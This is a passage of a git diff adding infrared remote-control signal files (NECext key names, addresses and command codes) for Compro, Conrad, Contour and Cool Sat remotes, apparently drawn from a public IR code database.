00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: KEY_PLAYPAUSE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 12 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 15 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 19 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1A 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 20 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 21 00 00 00 +# +name: genlock +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 22 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 25 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 29 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2A 00 00 00 +# +name: KEY_ESC +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 31 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 32 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 35 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 39 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3A 00 00 00 +# +name: b_button +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 40 00 00 00 +# +name: a_button +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 80 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Compro/Unknown_DVB-T200/128,126.ir b/assets/resources/infrared/_CSV-IRDB_/Compro/Unknown_DVB-T200/128,126.ir new file mode 100644 index 000000000..aea475dc8 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Compro/Unknown_DVB-T200/128,126.ir @@ -0,0 +1,224 @@ +Filetype: IR signals file +Version: 1 +# +name: PVR_TV +type: parsed +protocol: NECext +address: 80 7E 00 00 +command: 00 00 00 00 +# +name: KEY_DVD +type: parsed +protocol: NECext +address: 80 7E 00 00 +command: 01 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 80 7E 00 00 +command: 02 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 80 7E 00 00 +command: 03 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 80 7E 00 00 +command: 04 00 00 00 +# +name: TV_VIDEO +type: parsed +protocol: NECext +address: 80 7E 00 00 +command: 05 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 80 7E 00 00 +command: 06 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 80 7E 00 00 +command: 07 00 00 00 +# +name: KEY_PLAYPAUSE +type: parsed +protocol: NECext +address: 80 7E 00 00 +command: 08 00 00 00 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: 80 7E 00 00 +command: 09 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 80 7E 00 00 +command: 0A 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 80 7E 00 00 +command: 0B 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 80 7E 00 00 +command: 0C 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 80 7E 00 00 +command: 0D 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 80 7E 00 00 +command: 0E 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 80 7E 00 00 +command: 0F 00 00 00 +# +name: KEY_ANGLE +type: parsed +protocol: NECext +address: 80 7E 00 00 +command: 10 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 80 7E 00 00 +command: 11 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 80 7E 00 00 +command: 12 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 80 7E 00 00 +command: 13 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 80 7E 00 00 +command: 14 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 80 7E 00 00 +command: 15 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 80 7E 00 00 +command: 16 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 80 7E 00 00 +command: 17 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 80 7E 00 00 +command: 18 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 80 7E 00 00 +command: 19 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 80 7E 00 00 +command: 1A 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 80 7E 00 00 +command: 1B 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 80 7E 00 00 +command: 1C 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 80 7E 00 00 +command: 1D 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 80 7E 00 00 +command: 1E 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 80 7E 00 00 +command: 1F 00 00 00 +# +name: KEY_LANGUAGE +type: parsed +protocol: NECext +address: 80 7E 00 00 +command: 40 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 80 7E 00 00 +command: 41 00 00 00 +# +name: CH_SURF +type: parsed +protocol: NECext +address: 80 7E 00 00 +command: 42 00 00 00 +# +name: KEY_RADIO +type: parsed +protocol: NECext +address: 80 7E 00 00 +command: 43 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 80 7E 00 00 +command: 44 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Compro/Unknown_VideoMate-K300/4,15.ir b/assets/resources/infrared/_CSV-IRDB_/Compro/Unknown_VideoMate-K300/4,15.ir new file mode 100644 index 000000000..5b9bd900b --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Compro/Unknown_VideoMate-K300/4,15.ir @@ -0,0 +1,290 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 09 00 00 00 +# +name: Clean +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 0A 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 0B 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 0C 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 0D 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 0E 00 00 00 +# +name: More +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 0F 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 10 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 11 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 12 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 13 00 00 00 +# +name: Fwdwind +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 14 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 15 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 17 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 19 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 1A 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 1B 00 00 00 +# +name: KEY_NUMERIC_POUND +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 1C 00 00 00 +# +name: KEY_NUMERIC_STAR +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 1D 00 00 00 +# +name: ArrowUp +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 1E 00 00 00 +# +name: ArrowDown +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 1F 00 00 00 +# +name: ArrowLeft +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 20 00 00 00 +# +name: ArrowRight +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 21 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 22 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 23 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 24 00 00 00 +# +name: KEY_TV +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 25 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 26 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 47 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 48 00 00 00 +# +name: Picture +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 49 00 00 00 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 4A 00 00 00 +# +name: KEY_RADIO +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 50 00 00 00 +# +name: KEY_TEXT +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 5A 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 5B 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 5C 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 5D 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 5E 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 6E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Conrad/Unknown_006/56,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Conrad/Unknown_006/56,-1.ir new file mode 100644 index 000000000..97f22ed9f --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Conrad/Unknown_006/56,-1.ir @@ -0,0 +1,170 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 09 00 00 00 +# +name: KEY_102ND +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 0A 00 00 00 +# +name: TELETEX_MIX +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 0B 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 0B 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 0C 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 0D 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 15 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 16 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 17 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 18 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 1C 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 1D 00 00 00 +# +name: TELETEX_ON +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 46 00 00 00 +# +name: TELETEX_OFF +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 46 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 49 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 4A 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 4B 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 4C 00 00 00 +# +name: TELETEX_HOLD +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 4E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Conrad/Unknown_Promo8/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Conrad/Unknown_Promo8/0,-1.ir new file mode 100644 index 000000000..0c40ecd1d --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Conrad/Unknown_Promo8/0,-1.ir @@ -0,0 +1,386 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: KEY_102ND +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: KEY_102ND +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 20 00 00 00 +# +name: KEY_KPPLUS +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 20 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 21 00 00 00 +# +name: KEY_KPMINUS +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 21 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 29 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 29 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2E 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2E 00 00 00 +# +name: av +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 38 00 00 00 +# +name: AV +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 38 00 00 00 +# +name: FastRew +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3C 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3C 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3F 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3F 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 50 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 50 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 51 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 51 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 52 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 52 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 55 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 55 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 56 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 56 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 57 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 57 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 6B 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 6B 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 6C 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 6C 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 6D 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 6D 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 6E 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 6E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Contour/Unknown_Contour25/65,0.ir b/assets/resources/infrared/_CSV-IRDB_/Contour/Unknown_Contour25/65,0.ir new file mode 100644 index 000000000..8e033a2bd --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Contour/Unknown_Contour25/65,0.ir @@ -0,0 +1,146 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 41 00 00 00 +command: 00 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 41 00 00 00 +command: 01 00 00 00 +# +name: VOLUME_R +type: parsed +protocol: NECext +address: 41 00 00 00 +command: 02 00 00 00 +# +name: VOLUME_L +type: parsed +protocol: NECext +address: 41 00 00 00 +command: 03 00 00 00 +# +name: BALANCE_L +type: parsed +protocol: NECext +address: 41 00 00 00 +command: 04 00 00 00 +# +name: BALANCE_R +type: parsed +protocol: NECext +address: 41 00 00 00 +command: 05 00 00 00 +# +name: AUDIO_RESET +type: parsed +protocol: NECext +address: 41 00 00 00 +command: 08 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 41 00 00 00 +command: 09 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 41 00 00 00 +command: 0A 00 00 00 +# +name: TRACK_L +type: parsed +protocol: NECext +address: 41 00 00 00 +command: 0B 00 00 00 +# +name: TRACK_R +type: parsed +protocol: NECext +address: 41 00 00 00 +command: 0C 00 00 00 +# +name: PROGRAM +type: parsed +protocol: NECext +address: 41 00 00 00 +command: 0D 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 41 00 00 00 +command: 0E 00 00 00 +# +name: MANUAL +type: parsed +protocol: NECext +address: 41 00 00 00 +command: 11 00 00 00 +# +name: KEY_SEARCH +type: parsed +protocol: NECext +address: 41 00 00 00 +command: 12 00 00 00 +# +name: TUNING_R +type: parsed +protocol: NECext +address: 41 00 00 00 +command: 13 00 00 00 +# +name: TUNING_L +type: parsed +protocol: NECext +address: 41 00 00 00 +command: 14 00 00 00 +# +name: PRESET_STEP +type: parsed +protocol: NECext +address: 41 00 00 00 +command: 17 00 00 00 +# +name: FM/MPX +type: parsed +protocol: NECext +address: 41 00 00 00 +command: 18 00 00 00 +# +name: AM +type: parsed +protocol: NECext +address: 41 00 00 00 +command: 19 00 00 00 +# +name: PHONO +type: parsed +protocol: NECext +address: 41 00 00 00 +command: 1A 00 00 00 +# +name: KEY_TAPE +type: parsed +protocol: NECext +address: 41 00 00 00 +command: 1B 00 00 00 +# +name: KEY_CD +type: parsed +protocol: NECext +address: 41 00 00 00 +command: 1C 00 00 00 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 41 00 00 00 +command: 1D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Cool Sat/Satellite/64,64.ir b/assets/resources/infrared/_CSV-IRDB_/Cool Sat/Satellite/64,64.ir new file mode 100644 index 000000000..e6b3e02b7 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Cool Sat/Satellite/64,64.ir @@ -0,0 +1,278 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 09 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 0A 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 0B 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 0C 00 00 00 +# +name: CURSOR_ENTER +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 0D 00 00 00 +# +name: OK +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 0D 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 0E 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 10 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 11 00 00 00 +# +name: FUNC +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 13 00 00 00 +# +name: FAV +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 14 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 15 00 00 00 +# +name: RED +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 16 00 00 00 +# +name: GREEN +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 17 00 00 00 +# +name: YELLOW +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 18 00 00 00 +# +name: BLUE +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 19 00 00 00 +# +name: EPG +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 1A 00 00 00 +# +name: A/V +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 1B 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 1C 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 1E 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 1F 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 30 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 31 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 32 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 33 00 00 00 +# +name: REW +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 35 00 00 00 +# +name: FF +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 36 00 00 00 +# +name: MARK +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 39 00 00 00 +# +name: JUMP +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 3A 00 00 00 +# +name: * +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 3B 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 40 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 41 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 42 00 00 00 +# +name: A-Z +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 44 00 00 00 +# +name: OPT +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 47 00 00 00 +# +name: PAGE_DWN +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 4B 00 00 00 +# +name: PAGE_UO +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 4E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Coolsat/Unknown_Pro/1,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Coolsat/Unknown_Pro/1,-1.ir new file mode 100644 index 000000000..7b07001cb --- /dev/null +++ 